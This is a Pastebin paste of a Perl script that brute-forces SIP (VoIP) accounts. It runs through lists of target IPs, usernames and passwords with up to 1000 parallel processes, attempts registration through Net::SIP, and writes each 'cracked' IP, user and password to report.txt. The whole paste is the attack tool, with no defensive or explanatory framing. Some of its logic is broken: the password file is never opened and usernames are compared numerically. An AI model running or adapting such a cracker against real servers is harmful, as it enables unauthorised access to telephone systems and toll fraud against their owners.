Advertisement
Guest User

Untitled

a guest
Feb 9th, 2019
774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.98 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use Parallel::ForkManager;
  4. use Net::SIP;
  5. my $ips = "ips.txt";
  6. my $users = "u";
  7.  
  8. open( USERS, "<$users") || die " Cannot open the word file : $users ! \n";
  9. chomp(@userlist = <USERS>);
  10. close(USERS);
  11.  
  12. my @foundip;
  13.  
  14. my $i = 0;
  15. my $forkmanager = Parallel::ForkManager->new("1000");
  16.  
  17. $forkmanager->run_on_finish(sub { # must be declared before first 'start'
  18. my ($pid, $exit_code, $ident, $exit_signal, $core_dump, $data) = @_;
  19. $out{ $data->[0] } = $data->[1];
  20. print "[onfinish]". $data->[0] ."\n";
  21. if (($data->[1] == -1) or ($data->[1] == 1)) {
  22. push(@foundip,$data->[0]);
  23. }
  24.  
  25. });
  26.  
  27. my $foundstring;
  28. my $cnt =0;
  29. my $match_found = 0;
  30.  
  31. foreach $user(@userlist)
  32. {
  33.  
  34.  
  35.  
  36. my $important = "u";
  37.  
  38. open( IMP, "<$important") || die " Cannot open the word file : $important ! \n";
  39. chomp(@important = <IMP>);
  40. close(IMP);
  41.  
  42. foreach my $line1 (@important)
  43. {
  44.  
  45.  
  46. if ($line1 == $user)
  47. {print "==== Important user ==== \n";
  48.  
  49.  
  50.  
  51.  
  52. $passwords = "p";
  53. chomp(@passlist = <PASS>);
  54. close(PASS);
  55.  
  56. print $user;
  57.  
  58. foreach $pass (@passlist)
  59. {
  60. $i++;
  61. $cnt =0;
  62. my $rez = 0;
  63. open($foundipFILE, "< $ips");
  64. while (<$foundipFILE>)
  65. {
  66. $line = $_;
  67. $line =~ s/\x0a//g;
  68.  
  69. if (!grep {$_ eq $line} @foundip) {
  70.  
  71. $cnt++;
  72. my $pid = $forkmanager->start and next;
  73.  
  74.  
  75. if((&crack($line,$user,$pass)) == 1){
  76. print "$line $user $pass\n";
  77. print "\tcracked\n";
  78. open(my $kfh, '>>', 'report.txt');
  79. print $kfh "$line $user $pass\n";
  80. close $kfh;
  81. }
  82. else {
  83. print "[$cnt] [$line] failed with $user : $pass \n";
  84. }
  85. sleep(1);
  86. $forkmanager->finish(0, [ $line, $rez ]); # Child exits
  87.  
  88. }else{
  89. #print "!!!!! $line was here\n";
  90. }
  91. }
  92. close($foundipFILE);
  93. }
  94.  
  95. }
  96.  
  97. else {
  98.  
  99. }
  100.  
  101. }
  102.  
  103. }
  104.  
  105. $forkmanager->wait_all_children();
  106. sub crack{
  107.  
  108. my @parms = @_;
  109.  
  110. my $ip=$parms[0];
  111. my $user=$parms[1];
  112. my $pass=$parms[2];
  113.  
  114. my $ua = Net::SIP::Simple->new(outgoing_proxy => $ip,
  115. registrar => $ip,
  116. domain => $ip,
  117. from => $user,
  118. auth => [ $user,$pass ]
  119. );
  120. # Register agent
  121.  
  122. $ua->register( expires => 1800 ) || return 0;
  123. #print "Enregistrأ©\n";
  124. #return $pass;
  125. return 1;
  126.  
  127. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement